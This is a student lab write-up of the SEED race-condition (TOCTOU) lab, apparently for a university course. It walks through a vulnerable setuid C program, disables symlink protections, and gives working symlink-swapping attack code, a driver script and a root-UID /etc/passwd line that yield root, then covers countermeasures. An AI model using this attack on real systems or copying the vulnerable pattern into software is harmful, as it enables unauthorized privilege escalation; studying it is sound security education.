Race Condition Vulnerability Lab

A race condition occurs when multiple processes access and manipulate the same data concurrently, and the outcome of the execution depends on the particular order in which the access takes place.

Environment Setup

First we needed to disable some protections of the OS:

```
# On Ubuntu 20.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0
```

Then, we have a vulnerable program, that contains a race condition vulnerability and we will explore that in the present SEED Lab.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;

    /* get user input */
    scanf("%50s", buffer);

    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }

    return 0;
}
```

Task 1: Choosing Our Target

As a first task, it was suggested that we add a new user to the system. However, as a normal user does not have permissions to edit the `/etc/passwd` file, we need to use the vulnerability explained earlier to add a new user with root privileges. In this first phase, we just edit that same file as superuser:

```
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

In this way, it was possible to verify that by creating a "test" user with a user ID field of 0 and a specific password, the user is able to log in to the system without the need to enter a password and has root privilege. This conclusion is important for the next tasks where we will try to achieve the same result, but as a normal user (without root privileges).

Task 2: Launching the Race Condition Attack

Task 2.A: Simulating a Slow Machine

In a first attempt to carry out the attack, we started by slowing down the machine and thus increasing the time window between the `access()` and `fopen()` calls in our script by 10 seconds. We did this using the `sleep()` function and added the following lines of code to the vulp.c file:

```
if (!access(fn, W_OK)) {
    sleep(10);
    fp = fopen(fn, "a+");

...
```

As the program is owned by root, it is run with root privileges (Effective UID). However, it's crucial to note that the `access()` call uses the Real UID, which is the unprivileged user's UID.

Therefore, we need to change the symbolic link of the file between the `access()` and `fopen()` calls to enable writing to the system's password file. During those 10 seconds, we change the symbolic link from our `/tmp/XYZ` file to our target file `/etc/passwd`.

```
ln-sf /etc/passwd /tmp/XYZ
```

After executing this command and the script, we were able to successfully write to the `/etc/passwd` file and consequently obtain root privileges.

Task 2.B: The Real Attack

The attack program consists of successive changes on the symbolic link of our file, redirecting operations from `/tmp/XYZ` to `/etc/passwd` file. Thus, if we get the timming right, in the target code instead of appending content to `/tmp/XYZ`, in fact we'll append the content to `/etc/passwd` resulting in the addition of the line that creates a new user with root privileges.

```c
#include <unistd.h>

int main() {
    while(1) {
        unlink("/tmp/XYZ");                 // A
        symlink("/etc/passwd","/tmp/XYZ");  // B
    }
    return 0;
}
```

To run and monitoring the attack, we'll use this bash script:

```
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]          # Check if /etc/passwd is modified
do
    echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp      # Run the
vulnerable program
    new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

Running this two scripts in parallel, it took several minutes and hundreds of attemps to exploit with success.

Task 2.C: Improved Attack Method

One of the main reasons for the failure in the previous step is that the attack code itself suffers from a race condition. Internally, between `unlink()` (instruction A) and `symlink()` (instruction B) calls, the `fopen()` of the target code can switch the context to the root and make the `/tmp/XYZ` file be owned by root. So, the current user cannot access or modify intentionally the `/tmp/XYZ` file anymore.

To solve this issue, we used the following code, which ensures atomicity between the `unlink()` and `symlink()` calls:

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

int main() {
    unsigned int flags = RENAME_EXCHANGE;
    unlink("/tmp/XYZ"); symlink("/dev/null",   "/tmp/XYZ");
    unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
    renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    return 0;
}
```

The attack still worked as expected after some attempts.

Task 3: Countermeasures

Task 3.A: Applying the Principle of Least Privilege

In summary, the problem is that since the program is owned by root and the `fopen()` call uses the effective UID, the attacker is able to manipulate files that require root privileges.

To prevent the exploit we can force the effective UID to be the same as the real UID, for that we added the following code:

```
uid_t realUID = getuid();
seteuid(realUID);

...
```

The exploit stopped working since the effective UID is not **root** anymore and `fopen()` will always fail on the `/etc/passwd` file.

Task 3.B: Using Ubuntu's Built-in Scheme

The protection is the following:

```
sudo sysctl -w fs.protected_symlinks=1
```

We confirmed that the exploit stopped working.

(1) How does this protection scheme work?

We found the following explanation in the web (https://sysctl-explorer.net/fs/protected_symlinks/)

In summary, we only are able to follow symlinks if one of those conditions met:

1. When outside a sticky world-writable directory
2. When uid of the symlink and follower match
3. When the directory owner matches the symlink's owner

In this specific program, the first condition doesn't affect since our file is inside a world-writable directory, `/tmp/`, however, both the others will prevent the user from creating a symlink to files which he doesn't have access, preventing the exploit.

(2) What are the limitations of this scheme?

This protection is focused on race condition attacks related to sticky symlinks. It does not address other types of race conditions or security vulnerabilities in the system. (CVE-2018-6954)

Author

G1:

- Alexandre Nunes (up202005358)
- Fábio Sá (up202007658)
- Inês Gaspar (up202007210)